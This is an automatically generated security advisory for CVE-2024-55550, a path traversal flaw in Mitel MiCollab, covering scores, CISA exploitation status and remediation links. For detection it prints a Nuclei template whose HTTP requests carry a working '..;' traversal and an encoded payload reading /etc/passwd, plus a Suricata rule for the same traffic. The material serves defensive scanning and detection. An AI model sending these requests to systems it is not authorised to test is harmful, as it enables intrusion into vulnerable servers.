CVE-2024-55550: Mitel MiCollab exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

Mitel MiCollab through 9.8 SP2 could allow an authenticated attacker with administrative privilege to conduct a local file read, due to insufficient input sanitization. A successful exploit could allow the authenticated admin attacker to access resources that are constrained to the admin access level, and the disclosure is limited to non-sensitive system information. This vulnerability does not allow file modification or privilege escalation.

Description quoted from the CVE record (assigned by mitre, published 2024-12-10).

Weakness: CWE-22 Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

How it can be exploited

Exploitable with local access with low attack complexity needing high privileges and no user interaction. Impact: confidentiality high, integrity none, availability none. CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: partial.

On CISA KEV since: 2025-01-07
US federal deadline: 2025-01-28
Ransomware use: Yes

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-00510, CNNVD-202412-1116, EUVD-2024-52803, GHSA-4c8h-4mm2-mm5g

VEDAS cluster: VEDAS:FLASHROOT

Exploit Observer links 6 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (6)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (5)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2024-52803
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-4c8h-4mm2-mm5g
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2024-55550
Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-55550
Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202412-1116

30 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.382
likely to be attacked soon
VEDAS: 0.979
strong exploit evidence
On CISA KEV: Yes, since 2025-01-07
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

Product	Affected	Not affected
Not stated	version n/a	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

CISA required action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Mitel MiCollab - Path Traversal
Mitel MiCollab through 9.8 SP2 could allow an authenticated attacker with administrative privilege to conduct a local file read, due to insufficient input sanitization. A successful exploit could allow the authenticated admin attacker to access resources that are constrained to the admin access level, and the disclosure is limited to non-sensitive system information.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /npm-pwg/..;/usp/searchUsers.do, POST /npm-pwg/..;/ReconcileWizard/reconcilewizard/sc/IDACall?isc_rpc=1&i...); it decides using regex, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2024-55550.yaml

Show the template (54 lines)

yaml

id: CVE-2024-55550

info:
  name: "Mitel MiCollab - Path Traversal"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Mitel MiCollab through 9.8 SP2 could allow an authenticated attacker with administrative privilege to conduct
    a local file read, due to insufficient input sanitization. A successful exploit could allow the authenticated
    admin attacker to access resources that are constrained to the admin access level, and the disclosure is
    limited to non-sensitive system information.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-55550&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=mitel&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 4.4
    cve-id: CVE-2024-55550
    cwe-id: CWE-22
  metadata:
    verified: false
  tags: cve,cve2024,mitel,lfi,cmg-suite,auth-bypass,kev,vkev,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /npm-pwg/..;/usp/searchUsers.do HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "users"
          - "Network Element"
        condition: and
        internal: true

  - raw:
      - |
        POST /npm-pwg/..;/ReconcileWizard/reconcilewizard/sc/IDACall?isc_rpc=1&isc_v=&isc_tnum=2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _transaction=%3Ctransaction+xmlns%3Axsi%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2F10%2FXMLSchema-instance%22+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CtransactionNum+xsi%3Atype%3D%22xsd%3Along%22%3E2%3C%2FtransactionNum%3E%3Coperations+xsi%3Atype%3D%22xsd%3AList%22%3E%3Celem+xsi%3Atype%3D%22xsd%3AObject%22%3E%3Ccriteria+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CreportName%3E..%2F..%2F..%2Fetc%2Fpasswd%3C%2FreportName%3E%3C%2Fcriteria%3E%3CoperationConfig+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CdataSource%3Esummary_reports%3C%2FdataSource%3E%3CoperationType%3Efetch%3C%2FoperationType%3E%3C%2FoperationConfig%3E%3CappID%3EbuiltinApplication%3C%2FappID%3E%3Coperation%3EdownloadReport%3C%2Foperation%3E%3ColdValues+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CreportName%3Ex.txt%3C%2FreportName%3E%3C%2FoldValues%3E%3C%2Felem%3E%3C%2Foperations%3E%3Cjscallback%3Ex%3C%2Fjscallback%3E%3C%2Ftransaction%3E&protocolVersion=1.0&__iframeTarget__=x

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "micollab_api:.*:.*"

CVE-2024-55550.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2024-55550 Mitel MiCollab - Path Traversal. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2024-55550 Mitel MiCollab - Path Traversal"; flow:established,to_server; http.uri; content:"ReconcileWizard"; nocase; http.request_body; content:"etc%2Fpasswd"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2024-55550; reference:url,https://www.exploit.observer/?keyword=CVE-2024-55550&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=mitel&match=exact; sid:1009411; rev:1;)

CVE-2024-55550.rules on GitHub

References

Government sources

https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-55550 (government-resource)

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.